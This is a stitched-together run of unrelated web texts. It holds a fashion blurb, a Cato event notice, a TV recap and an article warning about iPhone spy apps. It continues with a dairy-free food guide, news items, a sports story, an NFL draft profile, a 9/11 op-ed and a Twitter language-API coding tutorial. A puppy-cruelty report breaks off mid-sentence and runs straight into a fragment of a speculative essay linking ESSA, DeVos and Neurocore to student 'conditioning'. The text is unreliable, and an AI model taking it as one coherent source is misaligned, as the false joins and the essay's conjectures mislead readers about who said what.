Granted, there’s a history of men appearing in women’s clothing in fashion campaigns—but those instances we’re meant as provocative escapes from the norm. This, though, shows a man dressing not that far away from how he normally tends to do, just with clothing designed for another sex. Sure, some people will take this as a provocation. Yet, in their way, these shots aren’t provocative at all. Good on ya, Jay. You do you.Featuring Ron Johnson (R-WI), United States Senator; Ken Buck (R-CO-4) United States Congressman; David Bier, Immigration Policy Analyst, Cato Institute; Alex Nowrasteh, Immigration Policy Analyst, Center for Global Liberty and Prosperity, Cato Institute; moderated by Peter Russo, Director of Congressional Affairs, Cato Institute.
The idea of regional or state-based visas is not a new one. Indeed, Canada and Australia have each implemented successful variations that provide some valuable lessons and hint at the major economic benefits possible for us in the United States. Adoption of a state-based visa program in America would permit our 50-state governments to craft rules for work visa programs that are more adaptable to local economic conditions than the present one-size-fits-all system run from Washington, D.C. While state governors and state and federal lawmakers are warming to the idea, all that stands in the way here is congressional approval.
Join us as we discuss the merits of such a plan, the implications for federalism, immigration, and labor markets, and the possibility of it gaining traction in this Congress.Even if your cable package went out last night, you've probably heard about the rather tepid debut of "Joe Buck Live." Tepid, until Howard Stern joke monkey Artie Lange destroyed everything Joe Buck holds dear on live television.
After the show went off the digital airwaves, there was another online-only portion that takes the vitriol up a notch. That's what you're watching in the above video. Joe does everything he can not leap across the table strangle Artie with his bare hands.
Joe realized almost immediately that the project he has spent half a year developing went completely off the rails and is about to hit a tree and explode. I don't know what he (or his talent bookers) expected Artie Lange to do, but they got what they paid for. Artie launched right into the homo jokes and never looked back, flustering Joe at every turn and driving the final segment into the ground. Things couldn't have gone worse.
More on the fallout, throughout the day.
Your First Episode Of "Joe Buck Live" In Ten Minutes Or Less [Awful Announcing]Apple iPhone spy apps have become rather common nowadays as they are easily available through multiple channels. People use them to keep tabs on other people’s digital activities, including their communications, browsing history, personal files, and much more. Who knows, one day you might even find yourself landing on the list of victims as well.
Learning a bit about what you’re up against can surely come in handy as it can allow you to take more concrete precautionary measures to mitigate the threat.
There are a ton of spy apps out there that can make a complete mockery of your digital privacy and security, but there are three iPhone spy apps in particular that you should really fear. Let’s take a closer look at each of them and learn what exactly makes them so dangerous.
Mobistealth
Mobistealth spy software for iPhone is capable of wreaking quite a havoc when in the wrong hands. With the help of this app, a snoop can bypass the privacy and security protocols of your iOS device to access everything from your private data and communications to information about your whereabouts.
Aside from logging call details, text messages, browsing history, and emails, it lets the perpetrator view your interactions on all popular instant messaging service, which include WhatsApp, LINE, Kik, and Viber. Your gallery isn’t safe either. With the help of this app, a snoop can look at all the photos and videos that you’ve kept on your device.
All of the aforementioned features are quite a nuisance, but the location tracking feature in particular can inflict a lot of harm. Someone somewhere can easily track your location just by keeping tabs on the current location of your iOS device. The worst part about this app is there is no way for you to know that you’re being spied on because all the data is hidden so perfectly well. And well, we’ve saved the worst part for last. It even works on non-jailbroken iPhones.
mSpy
mSpy is another dangerous app that can do a lot of damage. It is also capable of sneaking into your phone and keeping tabs on the people you call and chat with. It keeps an eye on most of your social media activities, and can even log your interactions on instant messaging services. Furthermore, it can go through your whole browsing history, so the URL of any site you visit gets shown to the snoop.
The app even gives the snoop access to your contact list, meaning they’ll know who is added in your phone, which numbers you call, which numbers you receive messages from, etc. The app sure does empower snoops to deal some serious damage to your personal and professional life, if that’s what they’re aiming to do.
FlexiSPY
This app comes with over 150 iPhone spying features, making it a huge threat for all the iPhone users. Any random individual can easily install it on your device, and then get access to most of your activities. This app goes a step further than the rest as it enables the snoop to intercept and listen to all of your calls. They’ll know what stuff you’re talking about, what people you’re talking to, what kind of language you’re using, etc.
FlexiSPY also enables the perpetrator to see all of your pictures, videos, and even audios available on your device. This app is bad news and if someone manages to install it on your phone, then you can bid your privacy goodbye.From all the new DC-based shows landing this season, to stalwart fan faves like Game of Thrones and Supernatural, it’s been a great year for sci-fi television. But what tops the list?
It’s almost impossibly subjective to try and narrow down the mountain of good TV episodes to a manageable list (i.e. not putting in every episode of Game of Thrones and The Walking Dead), but we’ve taken a crack at parsing it all down to 15 must-see installments that sum up what was great about 2014.
This year is a bit unique, considering the abundance of comic-based shows on television at the moment, so we’ve tried to not only highlight the excellent stuff — but also throw a nod to the sheer level of variety on television this season for genre fans. Want zombies? Epic sword fights? Laugh-out-loud satire? We’ve got 'em all covered.
Check out our picks below and let us know what you think should’ve made the cut:Many people suffer from lactose intolerance, which means that they can’t digest lactose which is a sugar that is found in milk and dairy products. Symptoms can range from feeling bloated and uncomfortable through to fairly serious conditions. It is important for anyone who suffers from this troublesome condition to avoid, or at least cut down on, dairy products. Here is some important information on dairy free alternatives.
Milk
If you are a regular milk drinker, or if you simply add it to cereals, beverages and sauces, being lactose intolerant doesn’t mean that you need to eliminate it from your diet. There are many excellent lactose free milk substitutes:
Lactofree milk
This is based on cows’ milk which has been treated to remove half of its lactose, and then an enzyme has been added that breaks down the rest of the lactose into products the body can absorb. Essentially is has all the benefits and taste of normal milk but without the lactose.
Soy milk
Soy milk is made from soybeans which are ground with water. Nutritionally it’s very similar to normal milk in terms of its protein content and it is lower in saturated fat.
Almond milk
This is made from ground almonds and has a slightly nutty flavour. It has less protein than regular cow’s milk, but is rich in many nutrients and vitamins. As well as being lactose free, it is also cholesterol free.
Rice milk
Made mainly from brown rice this contains more carbohydrates than regular cow’s milk but does not contain calcium, however commercial brands are generally fortified with calcium, iron and vitamins B3 and B12.
Other grain milks
As well as rice milk, similar grain milks include oats, rye spelt, wheat, hemp, and quinoa. They are very similar nutritionally to rice milk with commercial varieties being fortified.
Cream
Cream is essentially milk with a high concentration of butterfat. In fact creams are available that are based on all the milks listed above. Many people simply convert the milk into cream for instance by simply adding sugar and whipping. However there is also a good selection of non-dairy creams you can buy:
Lactofree cream
This is made using a similar process to Lactofree milk. It is simply ordinary dream without the lactose and can be used for pouring and cooking.
Soy cream, almond cream, coconut cream
These are all available under many different brand names, and each has its own distinctive flavour.
Butter and margarine
There are several lactose free butter substitutes that you can spread on your bread, bake with and use in your recipes. Here are some to try:
Lactofree butter
Lactofree butter is made using cow’s milk that has been treated by filtration and enzymes to remove the lactose. Taste wise and nutritionally wise it is very similar to real butter.
Soy margarine
Made from soy, this is an excellent lactose free butter substitute.
Coconut oil and coconut butter
These are both great alternatives to dairy butter and they are said to be very beneficial to health; however tasting of coconut they don’t have the same kind of flavour as butter.
Cheese
If you are a cheese lover then you will be pleased to learn that there are many lactose free cheese substitutes and many of them taste very much like the specific cheeses that they substitute for. Here are some to try:
Soy cheese
This uses soy milk and is used to make a variety of different cheeses. These include cheddar, mozzarella and provolone.
Rice cheese, almond cheese, hemp cheese
These cheeses are all made from the milks that are derived from the various grains, and their individual flavours make them more suitable for certain cheese types than others; you might find them surprisingly tasty.
Lactofree cheese
Lactofree cheese is made using cow’s milk that has been specially treated to remove the lactose. It is available as a semi-hard cheese, a soft white cheese and as mature cheddar cheese. You can eat it or cook using it like any regular cheese.
Yoghurt
Yogurt is an excellent low calorie dessert. Some people who are lactose intolerant are still able to eat a little yogurt without too many problems. This is because yoghurt is made by a fermentation process that converts lactose in milk to lactic acid. Alternatives to yoghurt include:
Lactofree yoghurt
This is made using cow’s milk that has been specially treated to remove lactose but leaving everything else intact. Nutritionally it is identical to milk and is available in the same range of fruity flavours.
Soy milk, almond, coconut milk yoghurts
These are all available, and although they have similar textures and flavours to dairy yoghurts, they are not really yoghurts as they have not gone through the same fermentation process, but regardless they still taste good and are nutritional.
Ice Cream
If you love ice cream then it will be one of the last things you want to give up, but there is no need to. Here are some excellent dairy free alternatives:
Sorbet
Although sorbet isn’t really ice cream, it is still a good ice cream substitute. It is made from water, sugar or sugar substitutes, and fruit juices or purée. Often wine or liqueurs are also added.
Rice Cream
This is made using rice milk and is available in all the same flavours as regular ice-cream. There is also a wide range of other frozen desserts made from various grain milks.
Soy ice cream
There are many different varieties of soy ice cream, and they are just as creamy tasting as dairy ice cream.
Coconut ice cream
As long as you like the taste of coconut, this ice cream is also very tasty with a very similar texture to the real stuff.
Related articlesBUCHAREST (Reuters) - Two former Romanian government ministers and a Credit Suisse banker were jailed on Tuesday for espionage and treason related to planned privatisations.
Former communications minister Zsolt Nagy was given a four-year sentence and former economy minister Codrut Seres was sentenced to four years and six months by the court in Romania, which has come under EU pressure to clean up its government and judiciary.
They were convicted of leaking confidential privatisation data and joining an organised crime group that prosecutors said targeted a string of planned privatisations in 2005 to 2007.
The European Commission, which has the judiciary under special monitoring, is expected to release a new assessment on Wednesday. Romania joined the European Union in 2007.
Credit Suisse investment banker Vadim Benyatov was sentenced to four years and six months for espionage, while Bulgarian Stamen Stanchev, who consulted for the bank, received five years and two months.
A spokesperson for Credit Suisse said: “We are disappointed with the verdict and will continue to support our current and former employees.”
Six other people, including a Turk and a Czech citizen, received prison terms for joining an organised crime group targeting confidential data related to privatisations.
Seres and Nagy said the documents they were accused of passing on were not confidential, nor prejudicial.
Prosecutors said the organised crime group targeted, among other things, the planned privatisation of the Romanian postal service and the sale of a minority stake in oil and gas group Petrom, majority-controlled by Austria’s OMV. None have yet happened and there is no current firm commitment to sell them.
Also targeted was the sale of power distributor Electrica Muntenia Sud, which has since then been bought by Italy’s Enel.
The case has reached its last appeal and Tuesday’s rulings are final.La Confederación Argentina de la Mediana Empresa (CAME) solicitó al Gobierno que revise la decisión de quitar las trabas para las compras por internet en el exterior porque en determinados segmentos de mercado va a ser difícil competir con productos chinos que ingresan con dumping y subsidio a la exportación.
"Nosotros tenemos un problema de competencia desleal con los productos chinos; era necesaria la traba que habían colocado", dijo el secretario de prensa de CAME, Vicente Lourenzo, en declaraciones con radio Delta.
"Siempre un producto chino va a ser más barato que uno argentino, porque (en el país asiático) hay dumping, subsidio a la exportación, salario de miseria que en dólares es imposible competir, no sólo para la Argentina, sino para el resto del mundo; las
compras por internet facilitan el acceso de esos productos chinos a todo el mundo", describió.
Además, dijo que "desde CAME pedimos que se revise esa decisión (de quitar las trabas) porque en determinado segmento de mercados va a ser difícil competir con ellos. Antes que la AFIP pusiera trabas a la exportación, se podía comprar cualquier cosa".
"La juventud, que tiene más acceso a redes sociales e internet podía comprar hasta una patineta, repuestos de productos, juegos. una gama inmensa de productos que metidos en una caja pueden viajar miles y miles de kilómetros hasta llegar a destino", afirmó.
Al preguntársele cuál es el límite al ingreso de productos dijo que "nadie debe prohibir la compra de nada en el mundo, pero muchos países lo que hacen es colocar trabas arancelarias o para arancelarias para que ese producto llegue a destino, para que no le sea tan fácil competir con alguien que paga impuestos localmente, que da empleo, que paga cargas sociales", afirmó.
Lourenzo consideró que para evitar que se afecte el trabajo argentino "no hay que hacer un cierre total de la economía, pero estudiar perfectamente cuál es el producto que ingresa y cual no".
Sobre el levantamiento de las Declaraciones Juradas Anticipadas de Importación (DJAI) dijo que "confiamos en los dichos del ministro de Producción, Francisco Cabrera, que nos aseguró que hay mil posiciones que serán licencias no automáticas, lo que significa que no se van a poder importar libremente esos productos, sino va a tener que ser tras un estudio de la secretaria de
Comercio que permita ver si ese producto puede afectar a la industria nacional; además, habrá 17 mil posiciones que serán de libre importación", aclaró.Gary Kennedy, 55, was sentenced to 15 years in prison for the 2014 beating death of a puppy at a South Side construction yard. (Photo courtesy: Animal Care Services)
A man who pleaded no contest to charges of beating a puppy to death with a metal rod is going to jail for 15 years.
Gary Kennedy, 55, received the maximum punishment allowable under a plea deal in the 227th District Court.
It was on July 3, 2014 that a surveillance camera at a construction |
90, 101).. Thus, the public-private merger of clinical healthcare and public schooling for OBE-CBE workforce planning is the culmination of over a century of Hegelian-collectivist philosophy steering classroom implementations of Wundtian stimulus-response psychology techniques that have been propagated by Robber Baron capitalists to manage the health of the Corporate State.
ESSA, IDEA, WIOA: Neurocore Therapies for Disabled Workforce Incompetency:
As privatized P-20 collectivization of public education with public health blurs the lines between traditional classroom learning and “community-based” lifelong learning, educational institutions will incorporate more clinical approaches to conditioning student learning/cognition and psychosocial development for workforce competency. In time, under sections 1005, 1008, and 4108 of the ESSA law, a student’s workforce incompetency could be pathologized as a cognitive-behavioral disability that requires psychological and/or biomedical intervention, which could be administered through Neurocore biofeedback therapies.
Clause 1008(b)(7)(A)(iii)(I-III) of the ESSA legislation obligates schools to “‘(iii) address the needs of all children... at risk of not meeting the challenging State academic standards, through activities which may include—‘(I) counseling, school-based mental health programs, specialized instructional support services, mentoring services, and other strategies to improve students’ skills outside the academic subject areas; ‘(II) preparation for and awareness of opportunities for postsecondary education and the workforce, which may include career and technical education programs... ; [and] ‘(III) implementation of a schoolwide tiered model to prevent and address problem behavior, and early intervening services, coordinated with similar activities and services carried out under the Individuals with Disabilities Education Act.” In simpler terms, this clause authorizes the employment of various psycho-behavioral health support services to accommodate the workforce handicaps of students with cognitive-learning disabilities and “problem behavior[s]” that impede their competencies in “career and technical education programs.”
Clause 1005(b)(2)(B)(vii)(II) mandates that assessments of workforce competencies must “(vii) provide for—... (II)... appropriate accommodations, such as interoperability with, and ability to use, assistive technology, for children with disabilities (as defined in section 602(3) of the Individuals with Disabilities Education Act (20 U.S.C. 1401(3))), including students with the most significant cognitive disabilities, and students with a disability who are provided accommodations under an Act other than the Individuals with Disabilities Education Act (20 U.S.C. 1400 et seq.), necessary to measure the academic achievement of such children relative to the challenging State academic standards or alternate academic achievement standards described in paragraph (1)(E).” In other words, this clause permits the use of “assistive technolog[ies],” such as Neurocore’s biofeedback technologies, that can reduce the symptoms of cognitive-behavioral disabilities that hinder a student’s competencies in “alternate academic achievement standards” such as workforce training through career-pathways curriculums.
In fact, charter schools are already experimenting with assistive biofeedback technologies, such as emWave PC®, for reducing student stress and anxiety levels that result from scholastic pressures to achieve academic competency outcomes. In a 2015 issue of the academic journal Biofeedback, Steven C. Kassel of the Biofeedback and Family Therapy Centers in Santa Clarita, California, published an article entitled “Stress Management and Peak Performance Crash Course for Ninth Graders in a Charter School Setting.” Kassel reports the findings of a study in which “[s]eventeen 9th-grade students at [an undisclosed] charter school were selected to participate in a 3-week stress management/peak performance training program that integrated biofeedback into the overall educational schedule.... Students were guided through relaxation exercises and... worked with the emWave PC®, a heart rate variability biofeedback instrument.... The students showed mild to moderate improvement on test anxiety and behavioral measures.... This study suggests that... integration of [biofeedback] relaxation techniques into a secondary school setting can improve important measures of students’ scholastic achievement” (90). At the collegiate level, student support services are currently offering counseling sessions that utilize StressEraser, RESPeRATE, Healing Rhythms, and other assistive biofeedback technologies at colleges such as Northwestern University, the University of Notre Dame, and Iowa State University.
In the business world, occupational biofeedback therapies have already been implemented to improve healthcare workforce outcomes at companies such as BlueCross BlueShield. Employees at the Tennessee branch of the corporation underwent HeartMath biofeedback conditioning to reduce “stress [that] can affect businesses in the form of employee health problems, retention troubles and decreased productivity,” according to a 2008 issue of Workforce Magazine.
Altogether, there are already several precedents set for the application of assistive biofeedback technologies in the corporate world and academia to improve the workforce and scholastic “competencies” of employees and students. Hence, as the lines are faded between traditional academic education and job-specific workforce training, public-private/school-business partnerships can combine cognitive-learning therapies for students and occupational therapies for employees into singular biofeedback treatments for students who are tracked into career pathways curriculums that partner with specific corporations.
To administer such assistive biofeedback technologies and other psycho-behavioral accommodations for disabled students, subsection 4108(4-5)(B)(i-ii)(I-II)(bb-cc) of the ESSA legislation stipulates requirements for “ACTIVITIES TO SUPPORT SAFE AND HEALTHY STUDENTS,” which “(4) may be conducted in partnership with an institution of higher education, business, nonprofit organization, community-based organization, or other public or private entity with a demonstrated record of success in implementing activities described in this section; and (5) may include, among other programs and activities—... (B)... (i) school-based mental health services, including... appropriate referrals to direct individual or group counseling services, which may be provided by school-based mental health services providers; and (ii) school-based mental health services partnership programs that—(I) are conducted in partnership with a public or private mental health entity or health care entity; and (II) provide comprehensive school-based mental health services and supports and staff development for school and community personnel working in the school that are—... (bb) coordinated (where appropriate) with early intervening services provided under the Individuals with Disabilities Education Act (20 U.S.C. 1400 et seq.); and (cc) provided by qualified mental and behavioral health professionals who are certified or licensed by the State involved and practicing within their area of expertise.”
Translation: publicly funded educational institutions are permitted to basically “outsource” their mental/behavioral-health accommodations for students with disabilities by employing public-private partnerships with private healthcare corporations, such as Neurocore, and other community-based healthcare nonprofits.
In sum, the implications of these three ESSA clauses authorize private biofeedback corporations, like Neurocore, to capitalize on federal education funding by partnering with public schools through P-20 councils and other State-level public-private partnerships which provide mental/behavioral health treatments for students with disabilities that hinder academic and workforce competencies.
Final Analysis
It would not be the first time that a presidential appointment, such as DeVos, finagled personal corporate holdings into government contracts. Recall the employment of Dick Cheney’s Haliburton Corporation to support military operations in Iraq during his vice presidency under George W. Bush. Considering this historical precedent, there should be little surprise if DeVos’s Neurocore Corporation scores government contracts to treat public-private charter-school students who have academic/workforce incompetency disabilities.
Nonetheless, one thing is for certain: competency-based education under Secretary DeVos will perpetuate America’s long history of conditioning the student body with stimulus-response methods of psycho-behavioral programming.“Mom doesn’t believe you!”
As David Moya walked off the Staples Center floor with a giant check in both hands, his fifth-grade son, Christian, hollered his wife’s disbelief from the stands.
Moya himself admitted it was “a little unbelievable,” but he had indeed just won $95,000 by connecting on a halfcourt heave to win the MGM Grand Big Shot Jackpot at Sunday’s Lakers game.
A competitive power lifter from Oakdale, Calif., Moya originally wanted his son to take the shot in between the third and fourth quarters, but luckily for both, Dad got to show Christian — and the other 18,995 in attendance — how to come up big.
When the father and son walked into the arena before the Lakers’ rout over the Phoenix Suns, Moya signed up knowing the odds were in favor of a miss.
“I didn’t think I had a shot, really,” Moya said “So I just went out there and threw it up.”
Turquoise hightop Kobe 9 sneakers on his feet, Moya simply let it fly.
At first, even Christian thought his father had thrown up an airball. But after the ball found its way through with no rim or backboard necessary, Moya threw his arms up in the air in celebration and revealed the throwback Ron Artest jersey underneath his MGM Grand contest shirt.
Soon after, the Lakers themselves took notice of what happened, and Julius Randle, Jordan Clarkson and Nick Young rushed over to congratulate Moya.
“I heard about it from the crowd,” Larry Nance Jr. said. “I saw my teammates run over. … To see somebody make it was pretty fun.”
Moya’s phone battery died during the game, but Christian was able to relay the reaction from family back home.”
“They’re crying and freaking out,” he said.
Moya says he’d like to put the money toward a Toyota Land Cruiser, but he’s got to check with his wife on that.
Still, the Northern California native — who credited the shot to just playing hoops with his son and daughter — also has something special in mind for the family: returning to Staples Center for Kobe Bryant’s last game.
“My grandfather that passed away a few years back was a Lakers fan and introduced me to the Lakers,” Moya said. “My father’s a Laker fan on the other side of my family. We have some Phoenix Suns fans in my family that I’m not too happy about, so maybe this’ll be something to rub in their faces tonight.”This story is about Published Feb. 2016
Bob Sturm's draft profile series: If Cowboys trade down, picking UCLA's Myles Jack makes sense Share This Story On... Twitter
Facebook
Email
UCLA linebacker Myles Jack almost comes up with an interception in front of Virginia receiver Canaan Severin at Scott Stadium in Charlottsville, Va., on Saturday, Aug. 30, 2014. UCLA won, 28-20. (Wally Skalij/Los Angeles Times/MCT) 09122014xSPORTS
By Bob Sturm, Special contributor Contact Bob Sturm on Twitter: @SportsSturm
I have never been a scout or a NFL General Manager, but I am willing to watch a ton of football. By watching about 200 snaps of each prospect, we can really get a feel for a player and then know what we are talking about a bit better. It is no exact science, but the NFL hasn't quite figured out drafting either, so we are going to do the best we can.To read more about the 2016 NFL Draft Project, Click Here. Myles Jack, LB, UCLA- 6'1, 245 - Junior - #30 Throw a rock in any direction and you will find someone giving you thoughts on which stud prospect the Cowboys should grab at #4 these days. This is the highest the team has picked in 25 years, so draft fever is already uncommonly high with 10 weeks to go. Many of those have had plenty to say to endorse Myles Jack, the very young, incredibly gifted, and extremely versatile run-and-hit linebacker from UCLA. Jack is quite a talent who took the Pac 12 by storm when he was a 2-way freshman and was "freshman of the year" on both sides of the ball as a running back and linebacker. Just let that soak in. This past September, he suffered a rather significant knee injury (torn meniscus) that shut down his college career after just 3 games this year. But, the recovery has already reached a point where he has said he plans on competing at the upcoming NFL Combine with no limitations. He is a 3-down linebacker, but he is also so much more. His versatility as a "football player" is simply off the charts. The question that must be asked is whether he plays a position that is worthy of a Top 5 pick or not. Traditionally, if linebackers are going to go this high in the draft, they better be edge rushers. Non-pass rush linebackers seldom go in the Top 10 of the draft because they are not seen as a premium position (QB, LT, Pass rusher, CB) or a game breaker (WR, RB). Rather, the TE, G, C, FS, SS, and non-pass rush LBs are acknowledged as important for sure, but perhaps not the gold bricks at the top. Since 2005, AJ Hawk, Ernie Sims, Keith Rivers, Jerod Mayo, Aaron Curry, Rolando McClain, Luke Kuechly have all gone in the Top 10. Only Kuechly and perhaps Mayo for a few seasons would be considered "special" in the NFL from that list. The others ranged from "solid" to complete flops. If they were all Kuechly, you would run to the podium for Jack, but this isn't how the draft works.
What I liked: He is as explosive as it gets in the middle of the field. He runs with the speed of a defensive back and yet hits like a thunderous linebacker. He covers as well as any linebacker, including long stretches where UCLA would just put him in the slot against a wide receiver and he would seldom give up anything. He takes on blockers with pop and is able to manipulate them despite giving up 50 pounds. He has a mean streak and determination that is very impressive. He can run sideline to sideline and seems to always have a read on where the ball is headed. His athleticism allows him to almost stay flat-footed and watch the QB, then react in time to make the play. It is really uncommon ability. He is so much fun to watch. I don't believe he is a safety (245 is a huge safety), but I don't doubt he could play it pretty well.
What I did not like: His production. This is why this position is a tough sell to someone who believes that you must get a premium position that high in the draft. In 26 college games, he had 15 tackles for loss and 1 sack (as well as 4 interceptions). He doesn't make plays behind the line of scrimmage because that isn't his job. But, in the Top 5 picks in the draft, you better get someone who has the job of making explosive plays - either offensively or defensively (with the possible exception of a shutdown corner or left tackle). As for his technique, there is very little not to like. His knee might make you a bit nervous, but I am already hearing that very few concerns exist at this point. He is very versatile, but does he have a perfect home? Perhaps as your middle linebacker, who can then cover downfield like a slot corner. That is a rare bird.
Summary and Potential Fit For the Cowboys: It is a really interesting discussion because there is no doubt this is one of the finest football players in the draft. I just don't believe you take a non-pass rush linebacker this high 9 times out of 10. Jack is masterful at making tackles and covering guys downfield, but how high can that be valued unless we are confident he is Luke Kuechly's clone? In other words, he has almost no weaknesses in his game, but does he play a position that impacts your end result enough to justify at that spot? Can you take this position in Round 2 (Bobby Wagner, Sean Lee, Lavonte David) or Round 3 (Navarro Bowman) and find gems there? If I am picking in the Top 5 (where game changers are available at nearly every spot on the field), I must make sure I am getting a premium player at a premium position. Now, if the Cowboys trade-back a bit, it makes all the sense in the world. I think he will be a household name for the next decade. I just don't believe in paying premium prices for a non-premium position. That said, Myles Jack is one of the more flawless players in this draft and there will come a point where someone with fewer needs to address might snap him up and haunt you with him for years to come. You can view plenty of his tape here at Draftbreakdown.com.
This Topic is Missing Your Voice.At a community college in California last week, a student group was denied permission to hold a 9-11 commemoration because it would make some students “uncomfortable.”
We shake our heads in bewilderment at such extremes of political correctness. And yet, the rest of the country is not far behind in towing the line.
Many of the prominent 9-11 “remembrance” ceremonies announced for the 15th anniversary of the 2001 terrorist attack have something missing. The really uncomfortable thing is that we all know what that missing something is: there will be no naming of Islamic radicalism as the motivation and the instrument of the murder of thousands of innocent people on that beautiful September morning fifteen years ago.
Yes, there will be mention of this documented fact in some news commentaries and obviously, in personal conversations by millions of Americans — because we all know it to be true. But it is significant and profoundly disturbing that in the OFFICIAL 9- 11 commemoration ceremonies across the country, it will be considered “islamophobic” to name Islamic radicalism as the reason for that horrific loss of life.
What is going on here? Do we commemorate the sinking of the Titanic without mentioning the iceberg? Do we commemorate the Civil War without mentioning slavery? Do we commemorate Pearl Harbor Day without mentioning Admiral Tojo or D-Day without mentioning Hitler? No. But we are commemorating the September 11, 2001 terrorist attacks on American soil without mentioning who attacked us. Why?
The answer is as simple as it is troublesome: We are allowing the political establishment to hold our 9-11 remembrance ceremonies hostage to political correctness. Everyone laughs at political correctness run amok in our entertainment industry, our universities, and our news media, but who will stand up to it when it captures and corrupts our national recognition of both our loss and a war that is not yet won?
My home state of Colorado is no different. Our Governor will preside over a colorful and patriotic ceremony at Denver’s Civic Center Park involving a flyover, bell chimes commemorating the 9-11 victims, and special recognition of the over 400 firefighters and law enforcement officers who died at the World Trade Center.
And, of course, there will be rock music bands as part of the “remembrance” — how else can they attract 40,000 citizens to Civic Center Park on a warm Sunday afternoon in September? But in between the rock music and the military spectacles and the chimes, there will be no mention by the Governor of Colorado of the identities or motivations of the 19 terrorists who attacked our nation that day– or of the continuing jihad waged against America by radical Islam.
Like other ceremonies across the nation, the afternoon of September 11, 2016 will be a recognition of the bravery and sacrifice of our military and our first responders, and all that is all good and necessary. Every day we have reason to be grateful for their sacrifices. But on this very special day, any mention of the REASON for this event, the REASON we gather in solemn remembrance, would be considered in bad taste. No one must spoil the festive atmosphere by reminding people of who killed thousands of Americans fifteen years ago and who continue to plot more bloody massacres while we celebrate the healing powers of diversity.
The Interfaith Alliance of Colorado represents dozens of religious faiths in dedication to social justice and human rights. Presumably, human rights are threatened by terrorism, but the progressive organization’s web page is silent on terrorism. The organization’s events calendar finds space for listing a late September event held in support of a higher Minimum Wage, but strangely, it has no room for mention of the September 11 remembrance rally in Denver. Evidently, the rock bands were not enough.
Making some Americans “uncomfortable” by the mention of Islamist radicalism is a small price to pay compared to the price our military and first responders are asked to pay every day of the lives.
College students or young urban millennials who demand we love all mankind and all religions equally might not be as “uncomfortable” as the first responders rushing into a burning building, the police officers confronting an Islamist terrorist armed with a suicide belt, or the parents of a soldier killed in Afghanistan fighting the Taliban, an Islamist outfit not well known for its celebration of diversity.
Mentioning radical Islam as the culprit in our remembrance of both heroes and victims of the 9-11 attacks would indeed make some people “uncomfortable.” But forgive me for thinking that maybe that is what we need this September as much as candles, chimes and rock music.How are people talking about Hillary and Trump on Twitter? Using the same approach I did here to parse tweets about the Olympics, I crunched some data on 300k tweets from September 9th — 10th about both candidates. Here’s what I came up with:
Top verbs used in Tweets with Hillary or Trump as the subject
Top emojis used in election tweets
Which tools did I use?
Twitter Streaming API : get all the election tweets
: get all the election tweets Cloud Natural Language API : parse the tweets & get syntactic data
: parse the tweets & get syntactic data BigQuery : analyze the tweet syntax data
: analyze the tweet syntax data Tableau and some JavaScript hacks: visualize the data
Twitter Streaming API: get all election tweets
I streamed tweets mentioning Hillary or Trump using the Twitter Streaming API with Node.js. You can see the search terms I looked for bolded in the first line of code:
var search_terms = '#Trump2016,#ImWithHer,@HillaryClinton,@realdonaldtrump,#NeverTrump,#MakeAmericaGreatAgain,Hillary Clinton,Donald Trump';
client.stream('statuses/filter', {track: search_terms}, function(stream) {
stream.on('data', function(tweet) {
if (tweet.text.substring(0,2)!= 'RT') {
callNLApi(tweet);
}
});
stream.on('error', function(error) {
console.log(error);
});
});
Once I got a tweet (excluding those starting with “RT”), I sent it to the Natural Language API for syntax analysis.
Cloud Natural Language API: parse the tweets
The new Cloud Natural Language API has three methods — syntax annotation, entity, and sentiment analysis. Here I’ll focus on syntax annotation, but you can check out this post for details on the other two. The syntax annotation response gives you details about the structure of the sentence and the part of speech for each word. Tweets are often missing punctuation and aren’t always grammatically correct, but the NL API is still able to parse them and extract syntax data. For example, here’s one of the ~300k tweets I streamed:
Donald Trump is the lone holdout as VP nominee Mike Pence releases his tax returns http://bit.ly/2c8ZyzP — Newsweek
And here’s a visualization of the syntactic data returned from the API for that tweet (you can create your own here):
The API’s JSON response gives you all the data visualized in the dependency parse tree above. It returns an object for each token in the sentence (a token is a word or punctuation). Here’s a sample of the JSON response for one token from the example above, in this case the word ‘releases’:
{
"text": {
"content": "releases",
"beginOffset": -1
},
"partOfSpeech": {
"tag": "VERB"
},
"dependencyEdge": {
"headTokenIndex": 2,
"label": "ADVCL"
},
"lemma": "release"
}
Let’s break down the response: tag tells us that ‘releases’ is a verb. label tells us the role of the word in this context. Here it’s the ADVCL, which stands for adverbial clause modifier. headTokenIndex indicates the position of the arc going to this token in the dependency parse tree, with each token as an index. lemma is the root form of the word, which is useful if you’re counting occurrences of a word and want to consolidate duplicates (notice that the lemma of “releases” is “release”).
Here’s what my request to the NL API looks like:
function callNLApi(tweetData) {
var requestUrl = "https://language.googleapis.com/v1beta1/documents:annotateText?key=API_KEY"
var requestBody = {
“document”: {
“type”: “PLAIN_TEXT”,
“content”: tweetData.text
}
}
var options = {
url: requestUrl,
method: “POST”,
body: requestBody,
json: true
}
request(options, function(err, resp, body) {
if (!err && resp.statusCode == 200){
var tokens = body.tokens;
// Do something with the tokens
}
}
}
Now that I have all of the syntax data as JSON, there are an endless number of ways to analyze it. Instead of doing the analysis as tweets came in, I decided to insert every tweet into a BigQuery table and figure out how to analyze it later.
BigQuery: analyze linguistic trends in tweets
I created a BigQuery table of all tweets, and then ran some SQL queries to find linguistic trends. Here’s the schema for my BigQuery table:
BigQuery table schema (each row is a tweet)
I inserted each tweet into my table using the google-cloud npm package with just a few lines of JavaScript:
var row = {
id: tweet.id,
text: tweet.text,
created_at: tweet.created_at,
user_followers_count: tweet.user.followers,
hashtags: JSON.stringify(tweet.hashtags),
tokens: JSON.stringify(body.tokens)
};
table.insert(row, function(error, insertErr, apiResp) {
if (error) {
console.log('err', error);
} else if (insertErr.length == 0) {
console.log('success!');
}
});
Now it’s time to analyze the data! The tokens column in my table is a giant JSON string. Luckily BigQuery supports user-defined functions (UDFs), which let you write JavaScript functions to parse data in your table.
To identify adjectives, I looked for all tokens returned by the NL API with ADJ as their partOfSpeech tag. But I didn’t want all adjectives from all the tweets I collected, I really only wanted adjectives from tweets where Hillary or Trump was the subject of the sentence. The NL API makes it easy to filter tweets that fit this criteria using the NSUBJ (nominal subject) label. Here’s the finished query (with the UDF inline) — it counts adjectives from all tweets with Hillary or Trump as the nominal subject.
To count emojis, I modified my UDF to look for all tokens with a partOfSpeech tag of X (indicates foreign character), and used a regex to extract all emoji characters (thanks Mathias for your emoji regex!). Here’s the query:
And the output:
This data is more fun when viewed as an emoji tag cloud, see the next section for details on how I did that.
Visualizing the data
